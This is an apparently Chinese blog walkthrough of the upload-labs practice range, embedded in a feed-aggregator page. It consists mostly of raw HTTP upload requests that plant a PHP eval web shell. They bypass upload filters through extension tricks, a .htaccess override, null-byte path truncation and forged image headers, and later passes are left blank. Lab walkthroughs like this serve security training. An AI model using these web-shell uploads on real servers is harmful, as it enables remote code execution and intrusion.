惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

V2EX - 技术
V2EX - 技术
P
Privacy International News Feed
Security Latest
Security Latest
H
Hacker News: Front Page
T
Tenable Blog
The Hacker News
The Hacker News
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
S
Security @ Cisco Blogs
Project Zero
Project Zero
O
OpenAI News
AI
AI
Spread Privacy
Spread Privacy
C
CERT Recently Published Vulnerability Notes
The Last Watchdog
The Last Watchdog
G
GRAHAM CLULEY
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
Scott Helme
Scott Helme
Application and Cybersecurity Blog
Application and Cybersecurity Blog
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
C
CXSECURITY Database RSS Feed - CXSecurity.com
NISL@THU
NISL@THU
A
Arctic Wolf
T
Threat Research - Cisco Blogs
PCI Perspectives
PCI Perspectives
N
News and Events Feed by Topic
C
Cyber Attacks, Cyber Crime and Cyber Security
C
Cybersecurity and Infrastructure Security Agency CISA
Simon Willison's Weblog
Simon Willison's Weblog
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
Know Your Adversary
Know Your Adversary
Google Online Security Blog
Google Online Security Blog
罗磊的独立博客
L
LINUX DO - 最新话题
U
Unit 42
S
Security Affairs
有赞技术团队
有赞技术团队
WordPress大学
WordPress大学
博客园 - 【当耐特】
T
The Exploit Database - CXSecurity.com
S
Schneier on Security
月光博客
月光博客
Engineering at Meta
Engineering at Meta
腾讯CDC
F
Full Disclosure
Cyberwarzone
Cyberwarzone
S
SegmentFault 最新的问题
Recorded Future
Recorded Future
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
博客园 - 司徒正美
The Cloudflare Blog

6Jyc5p+a

【笔记】通过NapCat和AstrBot实现QQ机器人 【笔记】部署NapCat 【笔记】部署AstrBot 【笔记】Poetry学习笔记 【笔记】uv学习笔记 【笔记】Nodejs通过mysql2操作MySQL数据库 【笔记】CodeBuddy学习笔记 【笔记】MiMoCode学习笔记 【笔记】OpenCode使用XiaomMiMo作为供应商 【笔记】OpenCode学习笔记 【笔记】IDEA的AiAssistant使用自定义的Agent 【笔记】MacOS上删除TimeMachine时间机器备份 【笔记】MacOS上部署XiaomiMiloco 【笔记】Docker的上下文 【源码】Python3创建1x1像素的图片 【靶场】xss-labs通关攻略 【笔记】Brave迁移ProxySwitchyOmega数据到ZeroOmega 【笔记】通过Docker部署DVWA 【笔记】通过Docker部署xss-labs 【笔记】通过Docker部署upload-labs 【笔记】通过Docker部署Vulhub 【笔记】宝塔通过Docker部署SQLI-LABS 【笔记】宝塔部署Docker 【笔记】通过Docker部署SQLI-LABS 【靶场】SQLI-LABS通关攻略 【笔记】MSYS2学习笔记 【笔记】Cygwin学习笔记 【笔记】Windows添加自定义右键菜单项 【笔记】Linux上和MacOS上配置环境变量 【笔记】命令行配置HTTP代理 【笔记】Windows上配置环境变量 【踩坑】Windows上在IDEA中配置Codex报错 【笔记】start学习笔记 【笔记】Windows的CMD命令学习笔记 【笔记】Java的PriorityQueue和PriorityBlockingQueue 【笔记】IDEA通过AIAssistant安装Codex 【笔记】bcrypt学习笔记 【速查表】浏览器默认禁用的不安全端口 【笔记】Astro学习笔记 【代码】Python3实现从NTP服务器同步时间 【笔记】Koa学习笔记 【笔记】Solidity计算字符串的MD5值 【笔记】Hardhat学习笔记 【笔记】Go安装笔记 【笔记】CVE-2024-3094漏洞利用 【笔记】CVE-2026-43284和CVE-2026-43500漏洞利用 【笔记】CVE-2023-3567漏洞利用 【代码】Python3读写M1卡 【笔记】M1卡学习笔记 【笔记】Python3中文转拼音 【代码】Python3生成中国大陆姓名拼音 【代码】Python3爬取中国大陆手机号段 【笔记】Nodejs发送请求 【笔记】Trello通过API添加待办事项 【笔记】Nodejs的流和缓冲区 【笔记】Nodejs的事件 【笔记】Nodejs的文件和目录操作 【笔记】CNVD-2020-10487漏洞利用 【笔记】CVE-2017-12617漏洞利用 【笔记】PHP输出源码 【笔记】PHP的Phar 【笔记】通过Docker部署OnlineTools 【笔记】XML学习笔记 【笔记】Windows的用户和组 【笔记】CVE-2006-7243漏洞利用 【代码】JS将目录编号转换为十六进制 【笔记】PHP抑制所有报错 【笔记】HFish学习笔记 【笔记】JumpServer学习笔记 【笔记】Conpot学习笔记 【笔记】南墙WAF学习笔记 【笔记】堡塔云WAF学习笔记 【笔记】Windows的远程桌面服务 【笔记】Windows的防火墙
【靶场】upload-labs通关攻略
57uv6Z6g · 2026-07-06 · via 6Jyc5p+a

前言

upload-labs通关攻略

Pass-01

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-01/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.php"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /upload/x.php建立连接

Pass-02

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-02/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.php"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /upload/x.php建立连接

Pass-03

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-03/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.phtml"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /upload/201601021504050000.phtml建立连接

Pass-04

  • 注入``.htaccess`文件
request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-04/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename=".htaccess"
Content-Type: octet-stream

SetHandler application/x-httpd-php
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-04/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.txt"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /upload/x.txt建立连接

Pass-05

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-05/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.PHP"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /upload/201601021504050000.PHP建立连接

Pass-06

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-06/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.php ."
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /upload/201601021504050000.PHP建立连接

Pass-07

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-07/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.php."
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /upload/x.php建立连接

Pass-08

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-08/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.php::$DATA"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /upload/201601021504050000.PHP建立连接

Pass-09

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-09/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.php. ."
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /upload/x.php建立连接

Pass-10

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-10/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.pphphp"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /upload/x.php建立连接

Pass-11

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-11/index.php?save_path=../upload/x.php%00
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.gif"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /upload/x.php建立连接

Pass-12

0:这里的0需要将10进制的30改为16进制的00

request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /Pass-12/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="save_path"

../upload/x.php0
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.gif"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /upload/x.php建立连接

Pass-13

GIF

00:将16进制的30 30改为16进制的47 49

request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-13/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.gif"
Content-Type: image/gif

00
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /include.php?file=upload/201601021504050000.gif建立连接

JPEG

00:将16进制的30 30改为16进制的FF D8

request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-13/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.jpeg"
Content-Type: image/jpeg

00
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /include.php?file=upload/201601021504050000.jpeg建立连接

PNG

00:将16进制的30 30改为16进制的89 50

request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-13/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.png"
Content-Type: image/png

00
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /include.php?file=upload/201601021504050000.png建立连接

Pass-14

GIF

0000:将16进制的30 30 30 30改为16进制的47 49 46 38

request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-14/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.gif"
Content-Type: image/gif

0000
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /include.php?file=upload/201601021504050000.gif建立连接

JPEG

  • payload部分数据需要转换为16进制数据
request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-14/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.jpeg"
Content-Type: image/jpeg

FF D8 FF C0 00 11 08 00 01 00 01 03 01 11 00 02 11 00 03 11 00 FF D9
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /include.php?file=upload/201601021504050000.jpeg建立连接

PNG

00000000:将16进制的30 30 30 30 30 30 30 30改为16进制的89 50 4E 47 0D 0A 1A 0A

request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-14/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.png"
Content-Type: image/png

00000000
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /include.php?file=upload/201601021504050000.png建立连接

Pass-15

GIF

0000:将16进制的30 30 30 30改为16进制的47 49 46 38

request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-15/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.gif"
Content-Type: image/gif

0000
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /include.php?file=upload/201601021504050000.gif建立连接

JPEG

  • payload部分数据需要转换为16进制数据
request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-15/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.jpg"
Content-Type: image/jpeg

FF D8 FF C0 00 11 08 00 01 00 01 03 01 11 00 02 11 00 03 11 00 FF D9
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /include.php?file=upload/201601021504050000.jpg建立连接

PNG

00000000:将16进制的30 30 30 30 30 30 30 30改为16进制的89 50 4E 47 0D 0A 1A 0A

request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-15/index.php
Content-Type: multipart/form-data;

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.png"
Content-Type: image/png

00000000
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • /include.php?file=upload/201601021504050000.png建立连接

Pass-16

request
1

Pass-17

request
1

Pass-18

request
1

Pass-19

request
1

Pass-20

request
1

Pass-21

request
1

未完待更

参考文献

CSDN——不会码字的笨蛋奶妈